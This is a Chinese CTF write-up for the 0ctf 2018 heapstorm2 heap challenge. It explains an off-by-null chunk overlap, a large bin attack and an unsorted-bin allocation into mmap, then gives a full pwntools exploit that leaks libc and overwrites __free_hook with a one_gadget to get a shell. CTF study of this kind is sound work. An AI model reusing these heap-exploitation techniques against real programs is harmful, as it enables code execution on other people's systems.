0ctf2018_heapstorm2
题目概述
主要参考这个 Sakuraのblog。
流程就是 mallpt 关闭 fastbin 分配,mmap 一块内存,用随机数初始化,然后在上面放结构体数组,这意味着如果要 malloc 到数组上修改指针的话,chunk size 的M标志位要为1。
程序功能有 allocate,update,delete,view,分配的 size 要大于 12 小于 4096 ,update 中存在一个 off by null,delete 没有 UAF,view 要求 mmap 地址上的数据满足一个条件,所以大体的思路是要有:任意地址写任意数,然后利用 off by null 构造堆块重叠改函数指针。
步骤分解
off by null
就是很常规的手法,申请一个大块,两头夹一个小块,伪造加的下一个块的 prev_size 绕过 unlink 的检查:
alloc(0x18) #0
alloc(0x508) #1
alloc(0x18) #2
update(1, b'a' * 0x4f0 + p64(0x500))
free 掉大块 1,用 off by null 改 free chunk 的 size 最后一个字节为 00 ,在 1 里申请两个块让 3 居中:
free(1)
update(0, b'a' * (0x18 - 12))
alloc(0x18) #1
alloc(0x4d8) #3
free 掉 1 和 2 进行 unlink 合并,再次分配 1 和 2 时, 2 的头部已经在 3 的数据区,3 的头部在 1 的数据区:
free(1)
free(2) # 1 merge with 2
alloc(0x38) #1
alloc(0x4e8) #2
同理再次实现一次上述操作后通过 malloc 和 free ,实现一个较大的块在 unsorted bin 中,一个稍小的块在 large bin 中。
large bin attack
要满足 view 的条件,我们需要在 0x13370800 附近伪造一个 fake chunk ,考虑到后续 unsorted bin attack 申请这个 fake chunk ,我们需要 large bin attack 伪造这个 fake chunk 的 size 位:
array = 0x13370800
fake_chunk = array - 0x20
# 对 large bin 中的块:
payload = p64(0) * 4
payload += p64(0) + p64(0x4f1) #size
payload += p64(0) + p64(fake_chunk + 8) #bk
payload += p64(0) + p64(fake_chunk - 0x18 + 5) #bk_nextsize
update()
此时 large bin 中的块已被修改,最后的 fake_chunk - 0x18 + 5 可以刚好让的 fake chunk 的 size 域被写入堆地址的最高非零字节,由于开启了 aslr ,并且申请的块在 mmap 里,需要 chunk 的 m 位为 1,所以堆块地址要以 0x56开头,这样才能用 alloc(0x48) 申请一个 0x50 大小的块。
unsorted bin into mmap
改 unsorted bin chunk 的 bk 为 fake chunk 地址,申请堆块时先把 chunk 放入 large bin 造成 large bin attack,然后再申请 fake chunk ,只有一定的成功率:
payload = p64(0) * 2
payload += p64(0) + p64(0x4f1) #size
payload += p64(0) + p64(fake_chunk) #bk
update()
try:
alloc(0x48)
except EOFError:
p.close()
continue
泄露 libc ,改 __free_hook
利用申请到的 mmap 上的堆块,update 改随机数为 0 和 0x13377331,并把数组中存放的堆块指针改成数组地址和 large bin attack 写入的堆块地址,泄露 libc ,改 free_hook 为 one_gadget 。
EXP
from pwn import *
context.log_level = 'debug'
def alloc(size):
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Command: ')
def update(idx, content):
p.sendline('2')
p.recvuntil('Index: ')
p.sendline('%d' % idx)
p.recvuntil('Size: ')
p.sendline('%d' % len(content))
p.recvuntil('Content: ')
p.send(content)
p.recvuntil('Command: ')
def free(idx):
p.sendline('3')
p.recvuntil('Index: ')
p.sendline('%d' % idx)
p.recvuntil('Command: ')
def view(idx):
p.sendline('4')
p.recvuntil('Index: ')
p.sendline('%d' % idx)
mes = p.recvuntil('Command: ')
pos1 = mes.find(b']: ') + len(']: ')
pos2 = mes.find(b'\n1. ')
return mes[pos1:pos2]
while True:
p = process('./0ctf_2018_heapstorm2')
libc = ELF('./libc-2.23.so')
p.recvuntil('Command: ')
alloc(0x18) #0
alloc(0x508) #1
alloc(0x18) #2
update(1, b'a' * 0x4f0 + p64(0x500))
alloc(0x18) #3
alloc(0x508) #4
alloc(0x18) #5
update(4, b'a' * 0x4f0 + p64(0x500))
alloc(0x18) #6
free(1)
update(0, b'a' * (0x18 - 12)) #off-by-one
alloc(0x18) #1
alloc(0x4d8) #7
free(1)
free(2)
alloc(0x38) #1
alloc(0x4e8) #2
free(4)
update(3, b'a' * (0x18 - 12)) #off-by-one
alloc(0x18) #4
alloc(0x4d8) #8
free(4)
free(5)
alloc(0x48) #4
free(2)
alloc(0x4e8) #2
free(2)
array = 0x13370800
fake_chunk = array - 0x20
payload = p64(0) * 2
payload += p64(0) + p64(0x4f1) #size
payload += p64(0) + p64(fake_chunk) #bk
update(7, payload)
payload = p64(0) * 4
payload += p64(0) + p64(0x4e1) #size
payload += p64(0) + p64(fake_chunk+8) #bk
payload += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize
update(8, payload)
try:
alloc(0x48) #2
except EOFError:
p.close()
continue
payload = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(array)
update(2, payload)
payload = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(array) + p64(0x1000) + p64(array - 0x20 + 3) + p64(8)
update(0, payload)
heap = u64(view(1))
payload = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(array) + p64(0x1000) + p64(heap + 0x10) + p64(8)
update(0, payload)
unsorted_bin = u64(view(1))
libc_base = unsorted_bin - 0x3c4b78
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4527a
payload = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(array) + p64(0x1000) + p64(free_hook) + p64(0x100)
update(0, payload)
update(1, p64(one_gadget))
p.sendline('3')
p.recvuntil('Index: ')
p.sendline('2')
break
p.interactive()
1765

被折叠的 条评论
为什么被折叠?



